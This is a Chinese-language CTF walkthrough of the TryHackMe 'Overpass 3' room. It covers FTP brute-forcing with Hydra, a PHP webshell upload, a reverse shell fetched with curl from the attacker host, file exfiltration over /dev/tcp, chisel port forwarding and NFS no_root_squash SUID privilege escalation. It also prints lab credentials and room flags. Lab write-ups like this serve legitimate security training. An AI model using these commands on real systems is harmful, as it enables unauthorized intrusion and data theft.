URL : https://tryhackme.com/room/overpass3hosting
IP : 10.10.208.60
Recon
- 先掃 Port
rustscan -a 10.10.208.60
- 嘗試 FTP Anonymous 登入
- 發現不行
- 觀察首頁
- 掃目錄
python3 dirsearch.py -u http://10.10.208.60/
/backups/
- 找到一包 Backup
GPG 解密
- 觀察 Backup
wget http://10.10.208.60/backups/backup.zip
- 裡面有兩個檔案
- gpg 加密後的檔案跟它的 key
gpg --import priv.key
gpg --output ./a.xlsx --decrypt ./CustomerDetails.xlsx.gpg
- gpg 加密後的檔案跟它的 key
- 解開後是一個 Excel 表格
paradox:ShibesAreGreat123
0day:OllieIsTheBestDog
muirlandoracle:A11D0gsAreAw3s0me
爆破密碼
- 有一連串的帳號跟密碼,試著用 Hydra 爆破 SSH
hydra -L user.txt -P pass.txt ssh://10.10.208.60
- 發現 SSH 不能用密碼登入
- 試著爆破 FTP
hydra -L user.txt -P pass.txt ftp://10.10.208.60
- 找到了一組帳密可以使用
paradox:ShibesAreGreat123
FTP 2 Webshell
- 嘗試登入 FTP
- 發現看起來是 webroot
- 放隻 Webshell 上去
put webshell.php
- 發現成功惹!!
- 使用 Webshell
- 放 Reverse shell
- http://10.10.208.60/webshell.php?A=curl%20-o%20%20/tmp/s%2010.13.21.55:8000/s
- 本地開 nc -nlvp 7877
- http://10.10.208.60/webshell.php?A=bash%20/tmp/s
- 收到 Reverse shell
- 放 Reverse shell
提權
- 轉互動式 shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 找 Web Flag
find / -iname '*flag*' -print 2>/dev/null
- 找到在
/usr/share/httpd/web.flag
thm{0ae72f7870c3687129f7a824194be09d}
- 準備 Linpeas
curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh
bash linpeas.sh
- Sudo version 1.8.29
- 發現 nfs 很可疑,但我們先繼續看下去
- https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
- 發現幾個檔案可以 setuid
- 但都不能利用
- 發現 nfs 如果需要利用,需要用 showmount,但電腦裡沒有
- 自己載一包來放著
curl -o ./showmount http://10.13.21.55:8000/showmount
- 但 run 起來都失敗 QQ
- 發現根目錄有奇怪的檔案
/.autorelabel
- 用 nc 傳出來觀察
cat .autorelabel > /dev/tcp/10.13.21.55/1234
- 發現裡面是空的 QQ
- 突然想到可能可以切換使用者
- 因為前面我們 Excel 有密碼
su paradox
- 切換使用者成功
二次提權
- 基本上我們猜測接下來就要使用 nfs 的漏洞,但是我們一開始 nfs 在掃 port 時並沒有掃到,因此猜測它只開在 local,我們來掃掃看 local 的 port
- 準備 nmap binary
- https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
- 掃下去
- 找到 nfs 開在 2049 port
- 準備 nmap binary
- 觀察發現 paradox 的
.ssh
只有 public key- 好ㄉ沒啥用 = =
- 本地端有開 nfs 但我們權限很低,那我們可以把 nfs 給用 port forwarding 打出來,使用 chisel
- https://github.com/jpillora/chisel
curl http://10.13.21.55:8000/chisel -o chisel
chmod +x chisel
- 輸入指令
- 攻擊機 :
./chisel server --reverse -p 7414
- 靶機 :
./chisel client 10.13.21.55:7414 R:2049:127.0.0.1:2049
- 用 nmap 掃攻擊機看看有沒有真的打通
- 攻擊機 :
- 把 nfs mount 到本機
sudo mount -t nfs localhost:/ mount/
- 發現 mount 成功
- 裡面有 ssh 的 key,所以我們可以複製出來直接用 james 的 ssh 進行登入
- 也找到了 User 的 Flag
- 裡面有 ssh 的 key,所以我們可以複製出來直接用 james 的 ssh 進行登入
- 在攻擊機 mount 的 nfs 目錄
- 直接複製自己的
/bin/bash
- 給它 +s 提供 suid
- 再用 james 進行執行
- 發現怎麼還是 james QQ
- 直接複製自己的
- 再回來攻擊機 chown 把 bash 的 owner 改 root
- 就可以ㄌ!!
- 就可以ㄌ!!
- Root flag
thm{a4f6adb70371a4bceb32988417456c44}
學到ㄌ
Port forwarding
NFS 提權
SUID 要 own=root才能用